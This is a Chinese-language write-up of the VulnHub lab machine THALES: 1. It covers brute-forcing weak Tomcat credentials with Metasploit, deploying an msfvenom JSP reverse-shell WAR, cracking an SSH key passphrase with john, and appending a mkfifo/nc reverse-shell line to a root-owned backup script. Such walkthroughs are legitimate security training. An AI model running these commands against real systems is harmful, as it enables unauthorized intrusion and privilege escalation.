準備:
攻擊機:虛擬機器器kali、本機win10。
靶機:THALES: 1,網段地址我這裡設定的橋接,所以與本機電腦在同一網段,下載地址:https://download.vulnhub.com/thales/Thales.zip,下載解壓後直接vbox開啟即可。
目標:獲取user.txt和root.txt。
知識點:shell反彈、許可權提升、tomcat弱口令、密匙破解(john)
資訊收集:
通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.100.0/24,獲得靶機地址:192.168.100.167。這裡因為是在酒店,這裡連的的都是一個網路,所以加了-sn,不然比較慢。
掃描下開放的埠與對應的服務:nmap -T4 -sV -p- -A 192.168.100.167,顯示開放了22和8080埠。
使用dirmap進行目錄掃描,但是未發現有用的目錄資訊,存取:http://192.168.100.167:8080/,發現是tomcat介面,在頁面點選時發現需要登入。
爆破tomcat弱口令:
這裡想到了之前的tomcat弱口令的問題(vuhub上也有這個的模擬環境),因此使用msf嘗試爆破下弱口令,在msf中搜尋下tomcat漏洞,search tomcat,然後找到用於爆破弱口令的並使用。
使用方式:use 19,然後設定下目標主機:set rhost 192.168.100.167,(可以show options檢視當前設定的資訊),然後run即可。成功獲得賬戶名和密碼:tomcat/role1。
使用爆破獲得賬戶名和密碼:tomcat/role1,成功登入到管理介面。
獲取shell許可權:
在應用程式列表中我們可以進行檔案上傳和服務部署,因此構造一個反彈shell進行部署,生成反彈shell:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.96 LPORT=6688 -f war -o upfine.war,在kali開啟監聽:nc -lvp 6688,然後將upfine.war檔案進行上傳部署並存取,成功獲得shell許可權。使用python3 -c 'import pty;pty.spawn("/bin/bash")'升級下shell視窗。
提權至thales:
在home/thales資料夾下發現了:notes.txt、user.txt、.ssh等檔案,讀取下相關檔案,告訴我們存在一個backup.sh指令碼,user.txt檔案無許可權讀取,嘗試使用密碼:role1進行嘗試,但是不對。
那就先去檢視下backup.sh檔案的資訊:ls -al和cat backup.sh,發現該檔案具有root許可權,檔案內容定義的是備份什麼內容,備份到哪去,備份方法和名稱等資訊,這裡我們可以寫入一個反彈shell,那在呼叫的時候就可以反彈一個root許可權的shell,但是tomcat賬戶按這樣操作後顯示仍是tomcat許可權。
在.ssh下發現密匙:id_rsa檔案,將密匙檔案複製儲存到本地檔案upfine,然後命令:python2 /usr/share/john/ssh2john.py /home/kali/Desktop/upfine > passwd生成密碼本,然後命令:john --wordlist=/usr/share/wordlists/rockyou.txt passwd進行破解,成功獲取密碼:vodka06
切換thales賬戶:su thales,讀取下user.txt檔案,成功獲取到flag資訊。
提權至root:
根據上面的我們發現的backup.sh檔案具有root許可權,那我們就插入一個反彈shell,然後執行backup.sh指令碼,成功獲取root許可權讀取到root.txt。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.96 6688 >/tmp/f" >> backup.sh